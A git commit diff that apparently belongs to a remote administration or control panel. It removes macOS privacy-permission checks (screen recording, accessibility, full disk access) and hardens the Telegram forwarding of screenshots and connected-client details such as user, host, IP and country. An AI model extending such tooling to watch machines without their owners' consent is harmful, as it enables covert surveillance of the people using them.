fix tele issue + fix issue with mac that double prompts.

This commit is contained in:
KingKDot
2026-05-11 20:36:27 -05:00
parent 9ee4d28044
commit b485b5cc17
3 changed files with 53 additions and 66 deletions
@@ -4,9 +4,6 @@ package sysinfo
import ( import (
"os" "os"
"os/exec"
"path/filepath"
"strings"
) )
func IsAdmin() bool { func IsAdmin() bool {
@@ -22,43 +19,9 @@ func Elevation() string {
func DarwinPermissions() map[string]bool { func DarwinPermissions() map[string]bool {
return map[string]bool{ return map[string]bool{
"screenRecording": checkScreenRecording(), "screenRecording": false,
"accessibility": checkAccessibility(), "accessibility": false,
"fullDiskAccess": checkFullDiskAccess(), "fullDiskAccess": false,
"root": os.Getuid() == 0, "root": os.Getuid() == 0,
} }
} }
func checkScreenRecording() bool {
if os.Getuid() == 0 {
return true
}
exe, err := os.Executable()
if err != nil {
return false
}
if real, err := filepath.EvalSymlinks(exe); err == nil {
exe = real
}
home, err := os.UserHomeDir()
if err != nil || home == "" {
return false
}
db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db")
safeExe := strings.ReplaceAll(exe, "'", "''")
out, _ := exec.Command("sqlite3", db,
"SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1",
).CombinedOutput()
return strings.TrimSpace(string(out)) == "2"
}
func checkAccessibility() bool {
err := exec.Command("osascript", "-e",
`tell application "System Events" to get name of first process`).Run()
return err == nil
}
func checkFullDiskAccess() bool {
_, err := os.ReadDir("/Library/Application Support/com.apple.TCC")
return err == nil
}
@@ -243,6 +243,23 @@ async function deliverToUserWebhook(
} }
} }
const TELEGRAM_MESSAGE_MAX = 4096;
const TELEGRAM_CAPTION_MAX = 1024;
function truncateText(text: string, max: number): string {
if (text.length <= max) return text;
return text.slice(0, max - 1) + "…";
}
async function consumeTelegramResponse(res: Response, context: string): Promise<void> {
try {
const body = await res.text();
if (!res.ok) {
logger.warn(`[notify] ${context}: telegram API ${res.status} — ${body.slice(0, 300)}`);
}
} catch { }
}
async function deliverToUserTelegram( async function deliverToUserTelegram(
target: UserDeliveryTarget, target: UserDeliveryTarget,
record: NotificationRecord, record: NotificationRecord,
@@ -261,19 +278,21 @@ async function deliverToUserTelegram(
const filename = `notification-${record.id}.${meta.ext}`; const filename = `notification-${record.id}.${meta.ext}`;
const form = new FormData(); const form = new FormData();
form.append("chat_id", chatId); form.append("chat_id", chatId);
form.append("caption", text); form.append("caption", truncateText(text, TELEGRAM_CAPTION_MAX));
form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename); form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
const apiUrl = `https://api.telegram.org/bot${token}/sendPhoto`; const apiUrl = `https://api.telegram.org/bot${token}/sendPhoto`;
await fetch(apiUrl, { method: "POST", body: form }); const res = await fetch(apiUrl, { method: "POST", body: form });
await consumeTelegramResponse(res, `notification photo to ${target.username}`);
return; return;
} }
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
await fetch(apiUrl, { const res = await fetch(apiUrl, {
method: "POST", method: "POST",
headers: { "Content-Type": "application/json" }, headers: { "Content-Type": "application/json" },
body: JSON.stringify({ chat_id: chatId, text }), body: JSON.stringify({ chat_id: chatId, text: truncateText(text, TELEGRAM_MESSAGE_MAX) }),
}); });
await consumeTelegramResponse(res, `notification to ${target.username}`);
} catch (err) { } catch (err) {
logger.warn(`[notify] telegram delivery to user ${target.username} (chat ${chatId}) failed`, err); logger.warn(`[notify] telegram delivery to user ${target.username} (chat ${chatId}) failed`, err);
} }
@@ -494,25 +513,26 @@ export async function deliverClientEventToExternalChannels(
if (target.telegramEnabled && target.clientEventTelegram && target.telegramBotToken && target.telegramChatId) { if (target.telegramEnabled && target.clientEventTelegram && target.telegramBotToken && target.telegramChatId) {
const token = target.telegramBotToken.trim(); const token = target.telegramBotToken.trim();
const chatId = target.telegramChatId.trim(); const chatId = target.telegramChatId.trim();
if (!token || !chatId) return; if (token && chatId) {
const lines = [label];
if (info.id) lines.push(`Client: ${info.id}`);
if (info.user) lines.push(`User: ${info.user}`);
if (info.host) lines.push(`Host: ${info.host}`);
if (info.os) lines.push(`OS: ${info.os}`);
if (info.ip) lines.push(`IP: ${info.ip}`);
if (info.country) lines.push(`Country: ${info.country}`);
const lines = [label]; try {
if (info.id) lines.push(`Client: ${info.id}`); const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
if (info.user) lines.push(`User: ${info.user}`); const res = await fetch(apiUrl, {
if (info.host) lines.push(`Host: ${info.host}`); method: "POST",
if (info.os) lines.push(`OS: ${info.os}`); headers: { "Content-Type": "application/json" },
if (info.ip) lines.push(`IP: ${info.ip}`); body: JSON.stringify({ chat_id: chatId, text: truncateText(lines.join("\n"), TELEGRAM_MESSAGE_MAX) }),
if (info.country) lines.push(`Country: ${info.country}`); });
await consumeTelegramResponse(res, `client event to ${target.username}`);
try { } catch (err) {
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`; logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err);
await fetch(apiUrl, { }
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ chat_id: chatId, text: lines.join("\n") }),
});
} catch (err) {
logger.warn(`[notify] client event telegram delivery to user ${target.username} failed`, err);
} }
} }
}), }),
@@ -297,7 +297,9 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
safeSendViewer(session.viewer, { type: "notification", item: record }); safeSendViewer(session.viewer, { type: "notification", item: record });
} }
void deps.deliverNotificationWithScreenshot(record); deps.deliverNotificationWithScreenshot(record).catch((err) =>
logger.warn("[notify] delivery failed", err),
);
}, },
handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) { handleNotificationScreenshotFailure(commandId?: string, ok?: boolean, message?: string) {
@@ -376,12 +378,14 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id); const externalTargets = deps.getDeliveryTargetsForClientEvent(event, info.id);
const pushEnabledByUser = new Map(externalTargets.map((t) => [t.userId, t.clientEventPush])); const pushEnabledByUser = new Map(externalTargets.map((t) => [t.userId, t.clientEventPush]));
void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole, (userId) => { deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole, (userId) => {
const enabled = pushEnabledByUser.get(userId); const enabled = pushEnabledByUser.get(userId);
return enabled !== undefined ? enabled : true; return enabled !== undefined ? enabled : true;
}); }).catch((err) => logger.warn("[notify] web push client event delivery failed", err));
void deliverClientEventToExternalChannels(event, info, externalTargets); deliverClientEventToExternalChannels(event, info, externalTargets).catch((err) =>
logger.warn("[notify] external channel client event delivery failed", err),
);
}, },
markPluginLoaded, markPluginLoaded,